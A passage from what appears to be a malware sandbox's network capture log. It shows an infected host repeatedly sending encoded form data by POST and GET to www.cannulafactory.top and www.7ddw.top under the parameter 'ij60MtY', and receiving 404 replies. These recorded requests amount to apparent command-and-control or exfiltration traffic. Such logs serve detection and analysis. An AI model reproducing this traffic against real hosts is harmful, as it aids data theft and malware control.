64 3e 0a 20 20 20 20 20 20 20 20 3c 74 69 74 6c 65 3e 54 68 65 20 70 61 67 65 20 69 73 20 6e 6f 74 20 66 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 20 20 20 20 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 20 2f 3e 0a 20 20 20 20 20 20 20 20 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 2f 2a 3c [TRUNCATED] Data Ascii: <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.1//EN" "http://www.w3.org/TR/xhtml11/DTD/xhtml11.dtd"><html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en"> <head> <title>The page is not found</title> <meta http-equiv="Content-Type" content="text/html; charset=UTF-8" /> <style type="text/css"> /<![CDATA[/ body { background-color: #fff; color: #000; font-size: 0.9em; font-family: sans-serif,helvetica; margin: 0; padding: 0; } :link { color: #c00; } :visited { color: #c00; } a:hover { color: #f50; } h1 { text-align: center; margin: 0; padding: 0.6em 2em 0.4em; background-color: #900; color: #fff; font-weight: normal; [TRUNCATED]
Aug 27, 2024 08:04:46.449721098 CEST	1289	IN	Data Raw: 20 20 20 20 20 68 31 20 73 74 72 6f 6e 67 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 66 6f 6e 74 2d 77 65 69 67 68 74 3a 20 62 6f 6c 64 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 31 2e 35 Data Ascii: h1 strong { font-weight: bold; font-size: 1.5em; } h2 { text-align: center; background-color: #900; font-size: 1.1em;
Aug 27, 2024 08:04:46.449842930 CEST	1289	IN	Data Raw: 20 69 73 20 6e 6f 74 20 66 6f 75 6e 64 2e 3c 2f 68 33 3e 0a 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 61 6c 65 72 74 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 68 32 3e 57 65 62 73 69 74 65 20 41 Data Ascii: is not found.</h3> <div class="alert"> <h2>Website Administrator</h2> <div class="content"> <p>Something has triggered missing webpage on your website. This
Aug 27, 2024 08:04:46.449934959 CEST	277	IN	Data Raw: 3d 22 33 32 22 20 2f 3e 3c 2f 61 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 72 65 64 68 61 74 2e 63 6f 6d 2f 22 3e 3c 69 6d 67 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii: ="32" /></a> <a href="http://www.redhat.com/"><img src="poweredby.png" alt="[ Powered by Red Hat Enterprise Linux ]" width="88" height="31" /></a> </div>

Session ID	Source IP	Source Port	Destination IP	Destination Port
80	192.168.11.20	49922	18.183.3.45	80

Timestamp	Bytes transferred	Direction	Data
Aug 27, 2024 08:04:48.987231970 CEST	2578	OUT	POST /y82c/ HTTP/1.1 Host: www.cannulafactory.top Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate, br Accept-Language: en-us Origin: http://www.cannulafactory.top Cache-Control: no-cache Connection: close Content-Length: 52932 Content-Type: application/x-www-form-urlencoded Referer: http://www.cannulafactory.top/y82c/ User-Agent: Mozilla/5.0 (Windows Phone 10.0; Android 4.2.1; DEVICE INFO) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.2311.135 Mobile Safari/537.36 Edge/12.<OS build number> Data Raw: 69 6a 36 30 4d 74 59 3d 68 4a 4b 35 59 31 70 36 7a 72 79 63 63 6d 54 56 78 49 4d 77 79 6b 72 44 31 72 7a 51 47 46 65 66 51 4c 6c 67 38 2f 69 6f 2b 79 55 6b 56 6a 6e 55 61 56 78 4b 6b 50 77 32 4e 7a 33 6d 56 38 65 38 55 2b 74 4c 43 30 4a 38 68 42 58 57 4d 4c 4f 61 6e 56 45 50 46 35 39 5a 2f 42 51 35 6e 31 59 65 4d 48 30 67 51 33 49 6c 47 78 39 58 39 53 6e 58 53 50 4f 75 39 4e 50 32 6d 30 56 43 46 6d 73 74 62 57 71 4f 58 4a 2b 52 30 6d 67 38 55 4a 48 71 41 52 4f 63 48 71 57 51 6e 4b 4a 68 62 31 46 4c 55 7a 45 54 76 51 6f 4e 78 30 54 2f 58 66 4d 35 4e 37 74 6d 78 33 72 6e 30 59 38 47 76 32 2f 78 5a 45 30 33 34 4f 4f 4a 7a 61 6f 6a 4f 75 4a 4b 52 69 76 45 36 63 4b 32 51 52 57 67 65 35 4f 53 70 43 30 6f 57 5a 30 4a 38 57 62 68 48 39 63 6c 31 51 63 61 48 69 64 49 2f 30 41 30 4d 32 43 71 66 50 6d 4b 31 50 44 51 34 45 64 36 45 30 50 37 4c 6b 36 72 57 7a 57 4e 75 31 47 51 6c 6b 49 41 68 75 70 4d 74 34 77 73 2b 53 53 6c 73 52 6a 4b 4d 66 4d 4c 71 44 68 75 72 71 70 64 61 73 6f 4c 34 46 50 49 49 64 61 68 51 34 [TRUNCATED] Data Ascii: ij60MtY=hJK5Y1p6zryccmTVxIMwykrD1rzQGFefQLlg8/io+yUkVjnUaVxKkPw2Nz3mV8e8U+tLC0J8hBXWMLOanVEPF59Z/BQ5n1YeMH0gQ3IlGx9X9SnXSPOu9NP2m0VCFmstbWqOXJ+R0mg8UJHqAROcHqWQnKJhb1FLUzETvQoNx0T/XfM5N7tmx3rn0Y8Gv2/xZE034OOJzaojOuJKRivE6cK2QRWge5OSpC0oWZ0J8WbhH9cl1QcaHidI/0A0M2CqfPmK1PDQ4Ed6E0P7Lk6rWzWNu1GQlkIAhupMt4ws+SSlsRjKMfMLqDhurqpdasoL4FPIIdahQ4fLNOxRw6/LkWBkuuE16M3VPhO2X7P9GKxCInBi5laqL6bg79qVHi2IudP/8wJjj8IBuf8qm914HMSn5KovaiTWd+/2mTvJ1qmho5zlO1ZMgAQpdqr6KKjfP7cYZSxTiVFMJz5osv7j4iYXVH0jy3iKjhBYLewIVa1qrEqXK7Tis8hntsZWd+qIWSQaBfKakAb5zS+cbzYfHSQT37mxDZ0A0pFOON7CBWWIyjj/Z/8jY0IHbSuYgR6nYBYWb3WSh6S3xSl4fZwirobYWNDnZmKUjztnA3084QMiVfwPypxn0YdaEWx+OHrSJWrkFFz7DeMLduf+Dm2Qq5SQqmDlIRwu1MJFKX8Wu+Gmcv4n2TYA7qq7Cwx6J0Yr0fVs2niO8p3yjvvU9MVt8gdwXjbqkGeEyR5iJVNxt7SL/9Y+qIS6O4wtQ2yo5pzJcHzpnkBzuqGE3id7+5Bdoce1OKcv4Lbjxa8g9nS1NGGTRjupr67kEIsjE+AlXzLOvTEJ5a3CumaeTz7RPFS0ufHJ1pOMkCdJpSTt6/3IZTF4mr5nYfakkwfbseWZ7q2mlln1Q8SiCsslh1DrAn0vZBnPftZQygWvsD7Ooua/rfUCYNiwkNVs3Do/K87KAX6QMfkg7vLAkKspSODklTVXaGsXrP/RQxAhNwIkqqUecGpQ [TRUNCATED]
Aug 27, 2024 08:04:48.987271070 CEST	3867	OUT	Data Raw: 4c 42 51 4a 31 6d 69 52 35 55 43 54 45 71 4e 50 69 49 45 73 77 4f 52 33 45 30 76 52 56 37 41 6a 57 65 2f 7a 6d 65 35 6a 6a 77 66 38 79 42 6e 6c 2f 4f 57 46 35 64 50 72 43 6f 6a 45 69 5a 4d 67 58 55 65 36 71 32 37 4e 36 5a 33 54 4c 57 66 57 30 63 Data Ascii: LBQJ1miR5UCTEqNPiIEswOR3E0vRV7AjWe/zme5jjwf8yBnl/OWF5dPrCojEiZMgXUe6q27N6Z3TLWfW0c5T9WwDZiI83QJzdUpxmwg1pFVhVuBaeJ9gtNMFKNyClGSFx0UnBe1NN27Enl/pxu5j2DFp9IhxvIp/FJkvFNSVgEHijxKgOg5RWaWlMOla2ojU4HY+v3AYZKKQUk3kSJ/0q2cmMPmLOVYWgArc4pKRIBnGP82dG69
Aug 27, 2024 08:04:48.987344980 CEST	6445	OUT	Data Raw: 4f 76 39 5a 62 6c 43 72 72 62 47 64 64 47 4d 64 51 33 75 32 5a 31 41 38 42 4a 47 76 49 63 49 65 4e 66 49 53 2b 79 4d 4b 67 72 34 42 31 30 55 6f 36 4e 78 4a 68 63 6e 66 5a 7a 41 77 5a 2b 51 53 74 55 77 6e 4f 6c 46 35 33 34 31 53 70 30 71 51 4e 2f Data Ascii: Ov9ZblCrrbGddGMdQ3u2Z1A8BJGvIcIeNfIS+yMKgr4B10Uo6NxJhcnfZzAwZ+QStUwnOlF5341Sp0qQN/qRXBYdnSWh9VW1GZ6cu+XnaQeRSSdQZbrxueyxL6Yl1votykIzPnd81ZUbxazO4MG8yJKDVh0mW/0NTfqgdFgczFe61+sBY/SWCz1rAdEk1NhVhUdRNJ5PPtYVb5H9bErjudX+hOctaF3RG4fK2bQGTRa5XEkWzFC
Aug 27, 2024 08:04:49.253905058 CEST	1289	OUT	Data Raw: 61 4d 4a 4a 65 51 4f 65 4f 54 44 47 75 32 55 34 31 36 7a 32 6d 35 78 58 42 61 6b 73 72 4c 39 4d 33 46 70 30 5a 5a 30 6f 58 67 71 79 75 36 76 58 2b 62 55 74 53 53 70 4c 41 64 64 63 6a 6c 62 69 4b 42 49 50 69 2f 61 32 47 59 4c 38 6b 69 30 6d 57 58 Data Ascii: aMJJeQOeOTDGu2U416z2m5xXBaksrL9M3Fp0ZZ0oXgqyu6vX+bUtSSpLAddcjlbiKBIPi/a2GYL8ki0mWX5RIhWQRqVso5OgtenowXxjAXQgTUfjU2FLxN0FmyX+gkjnu63ZH45vUhTLCdY0/fAlHJYVk0VSxs25chTrjaPEEjUoDzmgdPJ5LjCoBvDr1QZGof7S24u1/bq0AfFKZemK/3HHgq2GplG2gmy0woquJXlEP/USKsV
Aug 27, 2024 08:04:49.254020929 CEST	1289	IN	HTTP/1.1 404 Not Found Server: nginx/1.20.1 Date: Tue, 27 Aug 2024 06:04:49 GMT Content-Type: text/html Content-Length: 3971 Connection: close ETag: "6526681e-f83" Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 58 48 54 4d 4c 20 31 2e 31 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 78 68 74 6d 6c 31 31 2f 44 54 44 2f 78 68 74 6d 6c 31 31 2e 64 74 64 22 3e 0a 0a 3c 68 74 6d 6c 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 20 78 6d 6c 3a 6c 61 6e 67 3d 22 65 6e 22 3e 0a 20 20 20 20 3c 68 65 61 64 3e 0a 20 20 20 20 20 20 20 20 3c 74 69 74 6c 65 3e 54 68 65 20 70 61 67 65 20 69 73 20 6e 6f 74 20 66 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 20 20 20 20 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 20 2f 3e 0a 20 20 20 20 20 20 20 20 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 2f 2a 3c [TRUNCATED] Data Ascii: <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.1//EN" "http://www.w3.org/TR/xhtml11/DTD/xhtml11.dtd"><html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en"> <head> <title>The page is not found</title> <meta http-equiv="Content-Type" content="text/html; charset=UTF-8" /> <style type="text/css"> /<![CDATA[/ body { background-color: #fff; color: #000; font-size: 0.9em; font-family: sans-serif,helvetica; margin: 0; padding: 0; } :link { color: #c00; } :visited { color: #c00; } a:hover { color: #f50; } h1 { text-align: center; margin: 0; padding: 0.6em 2em 0.4em; background-color: #900; color: #fff; font-weight: normal; [TRUNCATED]
Aug 27, 2024 08:04:49.254106998 CEST	9023	OUT	Data Raw: 79 6c 64 51 45 65 71 56 52 51 54 2f 4e 58 6b 64 43 77 64 56 4d 70 57 57 74 52 39 37 61 6c 32 68 54 49 74 38 64 62 30 6e 67 54 34 76 59 48 59 62 61 75 4c 71 79 47 31 4a 78 4e 74 76 39 78 43 74 70 70 43 56 51 64 6b 37 42 6e 62 51 5a 34 71 64 6e 34 Data Ascii: yldQEeqVRQT/NXkdCwdVMpWWtR97al2hTIt8db0ngT4vYHYbauLqyG1JxNtv9xCtppCVQdk7BnbQZ4qdn4JFqoHqUG0D8Esrn7UdVpwE3+HgwpwjSdhHFm1yqkLadvwTt/VcRL4hkRILSFppWvHf0cp+epWT0Mll0KfvnuXI31umf0Nos3DyNLADkfZGBK/eqcVu5TDp+qtTd1p8XzZF6J7kernjI4dpAGeszULSA5hxuOXWguh
Aug 27, 2024 08:04:49.254168034 CEST	1289	IN	Data Raw: 20 20 20 20 20 68 31 20 73 74 72 6f 6e 67 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 66 6f 6e 74 2d 77 65 69 67 68 74 3a 20 62 6f 6c 64 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 31 2e 35 Data Ascii: h1 strong { font-weight: bold; font-size: 1.5em; } h2 { text-align: center; background-color: #900; font-size: 1.1em;
Aug 27, 2024 08:04:49.254268885 CEST	2578	OUT	Data Raw: 73 44 49 56 6a 4f 45 56 4a 6d 63 4c 51 6a 74 5a 45 44 78 4d 6c 45 4f 44 71 52 31 64 79 57 69 2b 31 73 39 67 57 33 37 70 61 77 47 45 72 76 34 31 4d 4f 32 4b 5a 50 2b 66 64 35 47 35 71 58 73 48 53 6e 7a 53 45 6e 7a 4c 50 45 55 48 43 64 2f 74 6b 64 Data Ascii: sDIVjOEVJmcLQjtZEDxMlEODqR1dyWi+1s9gW37pawGErv41MO2KZP+fd5G5qXsHSnzSEnzLPEUHCd/tkdpVhqUwzxeqI1yEnjtEtKY6vjxlQJLKB4Gj4z/de4oF+QkBL7YPCfgHdfUhRRmpCYER7EaV2HqE2AHEowT0cHt1bLIngCN/P7iroxyj4o5R1C1a/l+5R7WNlVTMQCfic5xF86ZDxY65fjV2O4CAwneiP1w2xFiiQd4
Aug 27, 2024 08:04:49.254292011 CEST	1289	IN	Data Raw: 20 69 73 20 6e 6f 74 20 66 6f 75 6e 64 2e 3c 2f 68 33 3e 0a 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 61 6c 65 72 74 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 68 32 3e 57 65 62 73 69 74 65 20 41 Data Ascii: is not found.</h3> <div class="alert"> <h2>Website Administrator</h2> <div class="content"> <p>Something has triggered missing webpage on your website. This
Aug 27, 2024 08:04:49.254606962 CEST	10312	OUT	Data Raw: 77 67 2b 79 44 41 76 58 6d 48 62 34 45 38 6a 61 33 2b 33 52 52 6d 43 4e 74 36 62 31 75 51 51 77 44 61 4d 69 58 4f 4d 7a 41 4a 4b 31 78 42 4f 58 62 47 74 6c 49 2f 74 55 42 78 2b 36 5a 4c 58 39 63 2b 72 6c 6e 39 46 56 53 73 58 43 49 5a 30 33 45 42 Data Ascii: wg+yDAvXmHb4E8ja3+3RRmCNt6b1uQQwDaMiXOMzAJK1xBOXbGtlI/tUBx+6ZLX9c+rln9FVSsXCIZ03EB6Ng06vyFPsioX9r4AIdRpBYgH5SESJV1gq+9JLkzFGmF/Qgxq17wguOql+6AvO2vbxBzXgMNc+9+zDa5djwK/AuybMk+UrNzhHhcAMsT/iHqTonyFzW/7X1XZS+/AB8ZogzmTrOq7LRX85wpXB5dobtmEw7YpR9Qg
Aug 27, 2024 08:04:49.295052052 CEST	1289	OUT	Data Raw: 36 58 35 4e 53 32 4f 52 44 33 4b 2b 75 62 6e 30 56 72 39 32 57 37 32 6e 53 59 69 36 69 4b 61 41 7a 44 36 74 69 77 49 74 51 57 43 6d 31 46 32 35 79 56 4e 39 4e 79 62 63 6c 2f 4b 47 4e 68 63 32 78 4b 74 38 45 65 6f 39 54 6d 61 67 47 53 59 69 42 6f Data Ascii: 6X5NS2ORD3K+ubn0Vr92W72nSYi6iKaAzD6tiwItQWCm1F25yVN9Nybcl/KGNhc2xKt8Eeo9TmagGSYiBotsLZ4cErm8w18e/jZoaUXote2QlIUmSqe6B58RZthanJPCE4jLnXN1Oeb6P+NCHNr14VpU0qxhqsYdJ5sla2Y0JWl5jcHNF9B1pHTZxu/Pl1E8zMwssfjRX+5U1w2iAX0jD6kh2KYZnQG9eYE178Ldvfnt4RpKvhm
Aug 27, 2024 08:04:49.295202971 CEST	1289	OUT	Data Raw: 6d 30 39 7a 50 6f 5a 49 44 2b 37 72 4c 32 74 58 5a 44 4f 4f 70 30 6c 56 56 72 65 59 4c 78 72 72 51 76 78 58 4b 69 54 2b 61 6e 70 4a 77 77 62 69 75 45 34 2f 68 5a 64 63 42 50 73 68 64 43 4a 65 46 48 66 49 4f 6a 65 6a 74 65 4e 59 56 4a 54 37 6e 72 Data Ascii: m09zPoZID+7rL2tXZDOOp0lVVreYLxrrQvxXKiT+anpJwwbiuE4/hZdcBPshdCJeFHfIOjejteNYVJT7nrFS5JcwytinL+FXrKWvhHAWsBqwEqmQS7jqkzl0LrdxOyqkgkHPJ+etBgRBG3zG12l+iE2a8dE58/SwjL4OehRawnwegWNYOCcgzRqa+k1H0R2nFPQ+AJdOxeBIFHKQV3diuv/dPHCYZSPxaBbaZHJG9Z+HphpxdCw

Session ID	Source IP	Source Port	Destination IP	Destination Port
81	192.168.11.20	49923	18.183.3.45	80

Timestamp	Bytes transferred	Direction	Data
Aug 27, 2024 08:04:51.780174017 CEST	552	OUT	GET /y82c/?wXB=brv4Erb&ij60MtY=sLiZbFdk0bb3LADauL00iEPz4ezLfDKRfqlDl/6kvE4DPkuqbR8aqfEySQ7vKfLRZ5tGFHhzrS3SF8murk9fEOV453YSzWktCGZAKUV3HiBT9SXvdO/vw9M= HTTP/1.1 Host: www.cannulafactory.top Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-us Connection: close User-Agent: Mozilla/5.0 (Windows Phone 10.0; Android 4.2.1; DEVICE INFO) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.2311.135 Mobile Safari/537.36 Edge/12.<OS build number>
Aug 27, 2024 08:04:52.048980951 CEST	1289	IN	HTTP/1.1 404 Not Found Server: nginx/1.20.1 Date: Tue, 27 Aug 2024 06:04:51 GMT Content-Type: text/html Content-Length: 3971 Connection: close ETag: "6526681e-f83" Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 58 48 54 4d 4c 20 31 2e 31 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 78 68 74 6d 6c 31 31 2f 44 54 44 2f 78 68 74 6d 6c 31 31 2e 64 74 64 22 3e 0a 0a 3c 68 74 6d 6c 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 20 78 6d 6c 3a 6c 61 6e 67 3d 22 65 6e 22 3e 0a 20 20 20 20 3c 68 65 61 64 3e 0a 20 20 20 20 20 20 20 20 3c 74 69 74 6c 65 3e 54 68 65 20 70 61 67 65 20 69 73 20 6e 6f 74 20 66 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 20 20 20 20 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 20 2f 3e 0a 20 20 20 20 20 20 20 20 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 2f 2a 3c [TRUNCATED] Data Ascii: <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.1//EN" "http://www.w3.org/TR/xhtml11/DTD/xhtml11.dtd"><html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en"> <head> <title>The page is not found</title> <meta http-equiv="Content-Type" content="text/html; charset=UTF-8" /> <style type="text/css"> /<![CDATA[/ body { background-color: #fff; color: #000; font-size: 0.9em; font-family: sans-serif,helvetica; margin: 0; padding: 0; } :link { color: #c00; } :visited { color: #c00; } a:hover { color: #f50; } h1 { text-align: center; margin: 0; padding: 0.6em 2em 0.4em; background-color: #900; color: #fff; font-weight: normal; [TRUNCATED]
Aug 27, 2024 08:04:52.049109936 CEST	1289	IN	Data Raw: 20 20 20 20 20 68 31 20 73 74 72 6f 6e 67 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 66 6f 6e 74 2d 77 65 69 67 68 74 3a 20 62 6f 6c 64 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 31 2e 35 Data Ascii: h1 strong { font-weight: bold; font-size: 1.5em; } h2 { text-align: center; background-color: #900; font-size: 1.1em;
Aug 27, 2024 08:04:52.049124002 CEST	1289	IN	Data Raw: 20 69 73 20 6e 6f 74 20 66 6f 75 6e 64 2e 3c 2f 68 33 3e 0a 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 61 6c 65 72 74 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 68 32 3e 57 65 62 73 69 74 65 20 41 Data Ascii: is not found.</h3> <div class="alert"> <h2>Website Administrator</h2> <div class="content"> <p>Something has triggered missing webpage on your website. This
Aug 27, 2024 08:04:52.049134970 CEST	277	IN	Data Raw: 3d 22 33 32 22 20 2f 3e 3c 2f 61 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 72 65 64 68 61 74 2e 63 6f 6d 2f 22 3e 3c 69 6d 67 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii: ="32" /></a> <a href="http://www.redhat.com/"><img src="poweredby.png" alt="[ Powered by Red Hat Enterprise Linux ]" width="88" height="31" /></a> </div>

Session ID	Source IP	Source Port	Destination IP	Destination Port
82	192.168.11.20	49924	154.23.184.207	80

Timestamp	Bytes transferred	Direction	Data
Aug 27, 2024 08:04:57.916975021 CEST	802	OUT	POST /pcjw/ HTTP/1.1 Host: www.7ddw.top Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate, br Accept-Language: en-us Origin: http://www.7ddw.top Cache-Control: no-cache Connection: close Content-Length: 204 Content-Type: application/x-www-form-urlencoded Referer: http://www.7ddw.top/pcjw/ User-Agent: Mozilla/5.0 (Windows Phone 10.0; Android 4.2.1; DEVICE INFO) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.2311.135 Mobile Safari/537.36 Edge/12.<OS build number> Data Raw: 69 6a 36 30 4d 74 59 3d 46 70 4e 61 6f 64 77 74 6b 31 79 6a 4c 73 54 74 53 38 42 30 4a 43 75 56 68 54 54 38 4c 79 75 42 4c 2b 4c 32 51 75 46 31 69 64 77 4d 68 31 57 57 54 70 7a 5a 49 59 64 68 77 41 46 67 66 43 34 76 73 63 6d 63 59 59 65 7a 78 6b 79 4f 6b 76 32 6a 6d 53 77 6d 41 6b 4a 37 2b 44 52 38 41 59 38 6c 2f 6f 65 49 2f 4e 56 62 35 34 69 50 43 37 79 6e 48 2f 78 41 47 48 49 56 46 74 61 6e 49 48 56 39 6e 46 50 4c 45 34 71 44 30 6a 42 65 7a 69 32 45 68 51 69 46 31 46 36 4f 6a 7a 38 42 30 74 37 50 46 50 7a 75 45 4d 43 4e 57 53 65 39 37 59 69 68 53 55 75 54 59 7a 7a 78 31 35 46 5a 37 67 5a 45 47 67 3d 3d Data Ascii: ij60MtY=FpNaodwtk1yjLsTtS8B0JCuVhTT8LyuBL+L2QuF1idwMh1WWTpzZIYdhwAFgfC4vscmcYYezxkyOkv2jmSwmAkJ7+DR8AY8l/oeI/NVb54iPC7ynH/xAGHIVFtanIHV9nFPLE4qD0jBezi2EhQiF1F6Ojz8B0t7PFPzuEMCNWSe97YihSUuTYzzx15FZ7gZEGg==
Aug 27, 2024 08:04:58.240266085 CEST	312	IN	HTTP/1.1 404 Not Found Server: nginx Date: Tue, 27 Aug 2024 06:04:58 GMT Content-Type: text/html Content-Length: 148 Connection: close ETag: "66a62378-94" Data Raw: 0a 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0a 3c 2f 62 6f 64 79 3e 0a 3c 2f 68 74 6d 6c 3e 0a 20 20 20 20 20 20 20 20 Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
83	192.168.11.20	49925	154.23.184.207	80

Timestamp	Bytes transferred	Direction	Data
Aug 27, 2024 08:05:00.754173040 CEST	1142	OUT	POST /pcjw/ HTTP/1.1 Host: www.7ddw.top Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate, br Accept-Language: en-us Origin: http://www.7ddw.top Cache-Control: no-cache Connection: close Content-Length: 544 Content-Type: application/x-www-form-urlencoded Referer: http://www.7ddw.top/pcjw/ User-Agent: Mozilla/5.0 (Windows Phone 10.0; Android 4.2.1; DEVICE INFO) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.2311.135 Mobile Safari/537.36 Edge/12.<OS build number> Data Raw: 69 6a 36 30 4d 74 59 3d 46 70 4e 61 6f 64 77 74 6b 31 79 6a 4e 4e 6a 74 56 66 35 30 46 79 75 53 6b 54 54 38 65 43 75 4e 4c 2b 48 32 51 76 78 6c 68 75 55 4d 69 51 36 57 55 74 6e 5a 42 49 64 68 6f 51 46 6c 41 79 34 6d 73 63 71 2b 59 61 61 7a 78 6c 53 4f 6b 63 2b 6a 69 53 77 70 55 30 4a 30 70 7a 52 2f 45 59 38 56 2f 6f 62 62 2f 4d 42 62 36 49 4f 50 4d 65 6d 6e 51 36 4e 48 43 6e 49 58 52 64 61 6b 52 58 56 2f 6e 46 44 44 45 34 54 34 7a 53 46 65 7a 43 57 45 7a 67 69 47 73 46 36 4a 37 7a 39 68 6b 76 61 2f 49 63 44 54 4d 38 75 72 55 33 4f 55 33 70 43 47 4c 6d 75 33 42 77 75 42 35 37 67 4c 79 69 34 66 56 76 57 34 77 62 73 4f 78 48 65 4a 41 6e 57 64 58 34 4f 33 71 4c 58 4a 2b 4f 36 6a 74 62 63 2b 62 71 6b 4a 41 67 4d 41 45 62 4c 61 6a 52 4b 48 63 2b 58 59 2b 54 57 49 39 53 31 68 39 61 70 66 7a 57 51 54 69 39 6f 48 79 34 72 77 64 2b 48 4e 63 50 6c 31 42 59 51 48 68 4f 74 47 7a 4f 67 73 46 66 30 6a 6b 46 7a 65 56 6c 2f 32 6b 50 31 70 7a 64 6a 41 7a 4d 58 43 46 4b 6e 37 64 4b 7a 71 50 6a 54 55 77 46 41 44 50 63 [TRUNCATED] Data Ascii: 